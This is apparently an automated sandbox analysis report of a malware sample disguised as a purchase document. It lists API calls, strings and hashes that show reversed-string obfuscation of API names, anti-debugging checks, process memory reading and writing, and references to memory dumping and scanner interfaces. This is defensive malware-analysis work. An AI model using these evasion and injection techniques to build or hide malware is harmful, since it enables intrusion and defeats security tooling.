MiniDumpWriteDump, xrefs: 02B2A714
OpenSession, xrefs: 02B28DA9, 02B291CC, 02B2927E, 02B2A64F, 02B2A795
UacInitialize, xrefs: 02B29032, 02B29393, 02B29512, 02B29616, 02B2A330
ScanBuffer, xrefs: 02B28ECC, 02B28F54, 02B292EF, 02B29404, 02B294A1, 02B297DA, 02B29961, 02B29AF4, 02B29CD9, 02B29DEE, 02B29FAC, 02B2A11C, 02B2A28F, 02B2A483, 02B2A6A1, 02B2A7E7
ntdll, xrefs: 02B2A625, 02B2A639, 02B2A6F1, 02B2A894, 02B2A8A8
I_QueryTagInformation, xrefs: 02B2A700
Initialize, xrefs: 02B290EA, 02B296F8, 02B2987F, 02B29C68, 02B29ECA, 02B2A03A, 02B2A1AD, 02B2A412, 02B2A743

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: 72212119afbe153ccbdaaa360a80b64b4f411aa58c908872cd98406c1fe6e596
Instruction ID: b3f93cdda9a590f44b4faf4aaec77923743a965370e8e6dd3ad7c23c9ac1f0af
Opcode Fuzzy Hash: 72212119afbe153ccbdaaa360a80b64b4f411aa58c908872cd98406c1fe6e596
Instruction Fuzzy Hash: 4CE2D175A502289FDB11FB64DD80BCE73BAEF85300F9041E1E149AB215DE30AE89DF56

Function 02B15ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B10000,02B3E790), ref: 02B15AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B10000,02B3E790), ref: 02B15B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B15B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B15B8B
RegQueryValueExA.ADVAPI32(?,02B15D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B15BD1,?,80000001), ref: 02B15BA9
RegCloseKey.ADVAPI32(?,02B15BD8,00000000,?,?,00000000,02B15BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B15BCB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B15BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B15BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B15BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B15C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B15CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B15CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 02B15B38
Software\Borland\Locales, xrefs: 02B15AFC, 02B15B1A

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 66f81553ab7cb0b43f42c09deed6479d5bb5a711b9a0086ae204ed81fc399989
Instruction ID: 7a2ce530077188beb64fcaa329d42f8f529dd1c126a4d666c34e84e99597f46f
Opcode Fuzzy Hash: 66f81553ab7cb0b43f42c09deed6479d5bb5a711b9a0086ae204ed81fc399989
Instruction Fuzzy Hash: CB518771A5025C7AFB35DBA88C46FEFB7ADDB44744FC001E1AB44E6181D7749A448FA0

Function 02B2894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

Part of subcall function 02B27D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Strings

BCryptVerifySignature, xrefs: 02B28973
bcrypt, xrefs: 02B2895F

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: cae75c363c25a3ebd496c789de25cb895f617c81b6a078381491425355d927aa
Instruction ID: 02ea73879296f6fb652ecd6f8a8c70ed97984c2c0df079b6b8ef83159f43f98d
Opcode Fuzzy Hash: cae75c363c25a3ebd496c789de25cb895f617c81b6a078381491425355d927aa
Instruction Fuzzy Hash: 15F0FFF0AE9314EEE310A668AA49F93B3DCD380790F0089A9F90C87142CE701856AB20

Function 02B2F744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02B2F754
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B2F766
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B2F77D

Strings

KernelBase, xrefs: 02B2F74F
CheckRemoteDebuggerPresent, xrefs: 02B2F760

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: ea713b1c3d4f753c790bcd234f6d772a23eb27b1fcafda0fc67e9df7fa9fd7aa
Instruction ID: 362bd32dab411d132a2f7e16cf33f8bd7dadee8321ae1eea48ff71547cdee55a
Opcode Fuzzy Hash: ea713b1c3d4f753c790bcd234f6d772a23eb27b1fcafda0fc67e9df7fa9fd7aa
Instruction Fuzzy Hash: B4F0A770904358BAEB11A6B888887ECFBB99B05328F6447D0A439625E1E7710648CA51

Function 02B2DD70 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDAB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDDB
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B2DDF0
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B2DE1C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B2DE25

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 0badbdc25c7e1589eff380e224c19986f6f39f26ebe1cfa3ef10acfbeb9b070f
Instruction ID: cb33507f0371fe68966ae60c1350d619d561fbe3f02e67a5a19d6daea7cbe546
Opcode Fuzzy Hash: 0badbdc25c7e1589eff380e224c19986f6f39f26ebe1cfa3ef10acfbeb9b070f
Instruction Fuzzy Hash: F821E071A50319BAEB11EBD4CC56FDE77BDEB48700F5044A5B304F7180DA74AA048B64

Function 02B2E4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B2E5F6

Strings

ScanBuffer, xrefs: 02B2E53F
OpenSession, xrefs: 02B2E598
Initialize, xrefs: 02B2E4E6

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: e3b2b2f987f9187334b66722ff01fcecfabdd4b0f0092ece32a07e1001e618b3
Instruction ID: 28ddd1e5e8056753ebbe205609be8432b399c9c2c0731bab44ad2b1bc0701bb1
Opcode Fuzzy Hash: e3b2b2f987f9187334b66722ff01fcecfabdd4b0f0092ece32a07e1001e618b3
Instruction Fuzzy Hash: CD413975B002189FEB01EBA4D881ADEB3BAEF88700FA044B6E145E7255DA70FD098F55

Function 02B2DC8C Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 6c1762db6b4a9aa2cc43e0484604410445ae9adca72218fdcab02a2f436e8ad3
Instruction ID: f136d701f76cf2452534bb099dad970d2e84d65eb49685b700266cf4fc268102
Opcode Fuzzy Hash: 6c1762db6b4a9aa2cc43e0484604410445ae9adca72218fdcab02a2f436e8ad3
Instruction Fuzzy Hash: 9321E071A40319BEEB10EBA0DD56FDEB7BDEB04B00F5144A1B604F71D0DBB4AA048A64

Function 02B28788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02B28814

Strings

Kernel32, xrefs: 02B287D3
CreateProcessAsUserW, xrefs: 02B287A1

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 5833ddcd2b10ff4a9cef86b2532c85ed18205b821ec5360ba91f2bcf9a9fb451
Instruction ID: b4156115f14dee8d39c35aa82bb7842d7eaaf1645aaf0c428994067ac26b9ea6
Opcode Fuzzy Hash: 5833ddcd2b10ff4a9cef86b2532c85ed18205b821ec5360ba91f2bcf9a9fb451
Instruction Fuzzy Hash: 9211E5B2654258AFEB40EFA8DD41F9A77EDEB0C740F5144A0FA08D7250C634FD159B25

Function 02B27A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

ntdll, xrefs: 02B27A74
yromeMlautriVetacollAwZ, xrefs: 02B27A47

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 43a9bc2ccc36254b3e890de2d70476f6f1dbc28d1dabb11641960a93debf0f74
Instruction ID: d23e4f91fa0960da7e273cc3fe5a9162521a241682b36118c561ac0a532a118c
Opcode Fuzzy Hash: 43a9bc2ccc36254b3e890de2d70476f6f1dbc28d1dabb11641960a93debf0f74
Instruction Fuzzy Hash: A1116DB5654308BFEB00EFA4DC41EAEB7FDEB49710F9084A0F904D7250DA30AA049B69

Function 02B27A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B27A9F

Strings

ntdll, xrefs: 02B27A74
yromeMlautriVetacollAwZ, xrefs: 02B27A47

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: e1f661b269c2041d765f4d2cd6ec15c778d9f91efc5e90e2ddbf27126233e6da
Instruction ID: 8388146c6a95389dc2769de29c0f941351b9eb95c78c470c125d64e1f822c128
Opcode Fuzzy Hash: e1f661b269c2041d765f4d2cd6ec15c778d9f91efc5e90e2ddbf27126233e6da
Instruction Fuzzy Hash: 9D116DB5654308BFEB00EFA4DC41E9EB7FDEB49710F9084A0F904D7250DA30AA049B69

Function 02B28400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B28471

Strings

yromeMlautriVdaeRtN, xrefs: 02B2841B
ntdll, xrefs: 02B28448

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 2302c5452c72cc4b74f3376c450b93363e90a82bcc714541f05f1224b3399bdf
Instruction ID: 4416821152efddc7df5757196051053e39fe12a0bcaf38e925373375cc6836f0
Opcode Fuzzy Hash: 2302c5452c72cc4b74f3376c450b93363e90a82bcc714541f05f1224b3399bdf
Instruction Fuzzy Hash: 5E0140B5644318BFEB00EFA4DC41E9AB7FDEB4D700F9184A0F908D7650DA34A9159B64

Function 02B27D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B27DEC

Strings

yromeMlautriVetirW, xrefs: 02B27D93
Ntdll, xrefs: 02B27DC3

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 84e0a488bf2ab2176ac38dbde07737796b017b087401e4d8b03ec6f5f8e4d1a6
Instruction ID: ddbd965f134c26a55d869f5fea77957af354fd61dad7dd9a68ceb4cbc746443f
Opcode Fuzzy Hash: 84e0a488bf2ab2176ac38dbde07737796b017b087401e4d8b03ec6f5f8e4d1a6
Instruction Fuzzy Hash: 14012DB5654314AFDB00EFA8DC41E5AB7EDEB49700F908890B908D7650DA30AD159B75

